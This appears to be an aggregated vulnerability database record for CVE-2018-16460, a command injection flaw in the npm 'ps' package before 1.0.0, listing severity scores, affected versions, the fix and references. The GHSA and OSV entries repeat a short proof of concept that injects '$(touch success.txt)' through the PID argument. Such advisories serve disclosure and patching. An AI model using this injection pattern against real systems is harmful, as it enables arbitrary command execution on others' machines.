{"id":"CVE-2018-16460","aliases":["EUVD-2018-0452","GHSA-cfhg-9x44-78h2"],"status":"published","title":"ps Enables OS Command Injection","description":"A command Injection in ps package versions \u003c1.0.0 for Node.js allowed arbitrary commands to be executed when attacker controls the PID.","severity":{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-08","score":0.02856,"percentile":0.86827,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-77","CWE-78"],"published":"2018-09-07T18:29:00.497Z","modified":"2026-10-24T10:30:49Z","fixes":[{"ecosystem":"npm","package":"ps","fixed_in":["1.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"ps","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.0"}]}]},{"source":"osv","ecosystem":"npm","package":"ps","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.0"}]}]}],"products":[{"vendor":"https://github.com/umbraengineering","product":"ps"},{"vendor":"umbraengineering","product":"ps"}],"references":[{"url":"https://hackerone.com/reports/390848","tags":["x_refsource_MISC","x_transferred","Third Party Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2018-16460","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-cfhg-9x44-78h2","tags":["advisory"]},{"url":"https://github.com/nodejs/security-wg/blob/master/vuln/npm/470.json","tags":["web"]},{"url":"https://www.npmjs.com/advisories/728","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2018-16460","description":"A command Injection in ps package versions \u003c1.0.0 for Node.js allowed arbitrary commands to be executed when attacker controls the PID.","status":"published","published":"2018-09-07T19:00:00Z","modified":"2024-09-17T02:42:51.207Z","cwes":["CWE-77"],"updated_at":"2026-11-02T14:35:11.426178Z"}],"euvd":[{"id":"EUVD-2018-0452","description":"A command Injection in ps package versions \u003c1.0.0 for Node.js allowed arbitrary commands to be executed when attacker controls the PID.","status":"published","published":"2018-09-07T19:00:00Z","modified":"2024-09-17T02:42:51Z","updated_at":"2026-11-03T00:28:37.764675Z"}],"ghsa":[{"id":"GHSA-cfhg-9x44-78h2","title":"ps Enables OS Command Injection","description":"Versions of `ps` before 1.0.0 are vulnerable to command injection.\n\n### Proof of concept:\n```js\nvar ps = require('ps');\n\nps.lookup({ pid: \"$(touch success.txt)\" }, function(err, proc) { // this method is vulnerable to command injection\n    if (err) {throw err;}\n    if (proc) {\n        console.log(proc);  // Process name, something like \"node\" or \"bash\"\n    } else {\n        console.log('No such process');\n    }\n});\n\n// Result: The file success.txt will exist on the filesystem if the touch command was executed\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.0 or later.","status":"published","published":"2018-09-17T20:43:59Z","modified":"2023-09-11T18:21:35Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-77","CWE-78"],"updated_at":"2026-11-02T14:37:03.916765Z"}],"nvd":[{"id":"CVE-2018-16460","description":"A command Injection in ps package versions \u003c1.0.0 for Node.js allowed arbitrary commands to be executed when attacker controls the PID.","status":"published","published":"2018-09-07T18:29:00.497Z","modified":"2026-06-17T01:44:19.803Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"2.0","score":7.5,"vector":"AV:N/AC:L/Au:N/C:P/I:P/A:P","level":"high","assessor":"primary"}],"cwes":["CWE-77","CWE-78"],"updated_at":"2026-11-02T14:04:38.672108Z"}],"osv":[{"id":"CVE-2018-16460","description":"A command Injection in ps package versions \u003c1.0.0 for Node.js allowed arbitrary commands to be executed when attacker controls the PID.","status":"published","published":"2018-09-07T18:29:00.497Z","modified":"2026-10-24T10:30:49.80462034Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:44:08.533609Z"},{"id":"GHSA-cfhg-9x44-78h2","title":"ps Enables OS Command Injection","description":"Versions of `ps` before 1.0.0 are vulnerable to command injection.\n\n### Proof of concept:\n```js\nvar ps = require('ps');\n\nps.lookup({ pid: \"$(touch success.txt)\" }, function(err, proc) { // this method is vulnerable to command injection\n    if (err) {throw err;}\n    if (proc) {\n        console.log(proc);  // Process name, something like \"node\" or \"bash\"\n    } else {\n        console.log('No such process');\n    }\n});\n\n// Result: The file success.txt will exist on the filesystem if the touch command was executed\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.0 or later.","status":"published","published":"2018-09-17T20:43:59Z","modified":"2023-11-08T03:59:59.454657Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-77","CWE-78"],"updated_at":"2026-11-02T15:46:44.927642Z"}]}}
